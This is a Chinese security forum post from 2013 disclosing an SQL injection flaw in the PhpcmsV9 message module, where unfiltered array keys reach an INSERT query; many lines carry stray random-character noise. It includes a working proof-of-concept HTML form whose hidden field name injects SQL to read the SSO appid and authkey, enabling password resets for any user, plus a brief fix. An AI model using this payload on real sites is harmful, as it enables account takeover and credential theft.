找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2222|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:! i  d! k+ r! r8 k. u

) j  Z; m. z8 ?2 {第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
2 B# ]! e. v: O) `
; D0 Z( @' ~. c明天再更新下一个漏洞。4 [9 b3 P. m- s3 U3 J% V6 d
详细说明:& Q8 w  f# {" D0 H# G
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
' T3 X' Z! R. [2 o, ?! Y0 B) i5 R2 z- z+ F7 p* B/ V- m
$messageid = $this->message_db->insert($_POST['info'],true);
5 U/ u- C: s4 v3 @: r( k6 f, F) l  r2 i( ~

" O0 D+ l' v) \4 U4 `insert方法是key value的,代码如下:% a, f- ^4 K+ m/ z. ?3 [& r

- W2 z0 R8 j# X1 @) ?1 rpublic function insert($data, $table, $return_insert_id = false, $replace = false) {0 O- s, P8 r0 w
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
$ H8 [9 Y& T$ k7 }& }1 D+ H                        return false;+ T- g$ M, H  a4 |: t6 _
                }) J. g4 z; o  ^/ d  Y
               
$ |+ h3 X. z" L' b                $fielddata = array_keys($data);
: J$ z$ \, I6 z% S) T' I' l                $valuedata = array_values($data);) c' G( ?8 g$ _
                array_walk($fielddata, array($this, 'add_special_char'));2 U/ e. K' a: y+ m
                array_walk($valuedata, array($this, 'escape_string'));
) n3 V  Y: L4 R                " Y5 T+ D# N/ o, U
                $field = implode (',', $fielddata);$ D, R& T+ @, _! a* d1 ^, |
                $value = implode (',', $valuedata);
; L3 w# N- t7 u# U
' v# h( X8 U" ?2 _5 S+ \                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';: {1 d' a% T+ _2 `) f$ \
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';8 V; }: b5 N# C& {- k4 s/ H: p
                $return = $this->execute($sql);
& P/ r  ]8 G+ c' E( S7 R2 ?                return $return_insert_id ? $this->insert_id() : $return;6 P8 ~$ G1 v* U' Y7 I& q
        }
% Q9 Q- }. Y; a9 u8 c* [. I
1 s% ^' p  r* J- r* v7 L$ ]2 B- ]) T, g2 [9 _  h; g
嗯,很遗憾的是1 ^* ~3 ?/ Y: |3 o, N. H
) M- ]& o: ~  l, }
array_walk($fielddata, array($this, 'add_special_char'));
! K# x- K2 m7 I" l7 w6 `
1 t6 g1 s2 n! A6 i( X* q. P: Q, a, j9 n( m6 T) k. E
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
# @' X8 G# v( Z0 c& M
' s0 V4 `7 B  d# ~9 ^到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
4 y3 W3 X( U6 P5 @& {2 B* i! H/ m. _( R% h  j
漏洞证明:
7 u3 Z( r0 g7 _读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。5 P$ D1 s8 Z4 Q; O- L
$ b' t  g; S% t- H

; Q3 u4 j7 H+ P4 K7 v表单如下:用户名什么的得自己改一改。
0 V0 L$ W% w  W: d* w' U7 ?0 D9 }<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
6 m* p3 v0 f/ ]<table width="100%" cellspacing="0" class="table_form">
* F+ n( z' {* ~0 O8 S<tr>
6 Z/ e3 s) y& w& N  C<th>标 题:</th>. m1 `( q. a/ n  r3 V) d
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
6 a# d# c, ?/ [3 D* F. G4 ^7 l</tr>
6 O# k/ E' p* V. S<tr>1 j! W, `; ?$ P% Q3 v3 m- X
<th>内 容:</th>6 l) c' ~4 t, m6 u
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
" K" T$ Z* A) j% K8 o6 I. V! q</tr>
! T4 {2 _9 Z# B' k( _6 J<input type="hidden" name="info[replyid]" value="2" /> ( {6 l9 z5 [8 Q
<input type="hidden" name="info[send_to_id]" value="cc" />
8 d/ I6 O4 g% D$ U2 Q5 G<input type="hidden" name="info[send_from_id]" value="hh">
9 G( w. C: Z" b2 c: I. N. c<!-- 漏洞的利用重点在这里开始 --># B- u$ m) h4 r: Z4 }7 P
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 8 W- Y7 `0 y3 m3 ^  Z
<!-- 漏洞的利用重点在这里结束 -->
" g' F) Q  ~* U; I8 c: _4 I. D0 u<tr>
$ Y7 K- G7 x2 i, i) S( c  z) |<th>验证码:</th>
; A/ k# E4 T0 A' m1 Y<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
, X! I9 z) k2 k0 \7 M</tr>
& L( q# L% I! ~9 m: }2 T5 c<tr>
5 z1 G4 U0 G6 p6 u/ G# u<td></td>: H+ b6 ~4 G0 ^5 o/ b0 j
<td colspan="2"><label>
; X2 ~4 v% L2 q2 Z4 T. |) L# Y<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>( Y, r. E* O) U) w$ ~4 e2 n7 @# F
</label></td>
; y  A0 N  W  v6 O/ j</tr>
2 x4 k; t7 F( G% W$ l</table>' M6 A& P: {# ?, U6 [# `
</form>/ ?5 ]: C/ x8 u0 e
在add_special_char函数内对key做过滤就可以了。
/ E" M9 P) z( a/ u* k
. [* w3 ~7 I. `5 z; [( t7 f: W, g! e3 p% X, Z* L6 h" ]# }

& b. v% `9 h$ {0 Q' `& a

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表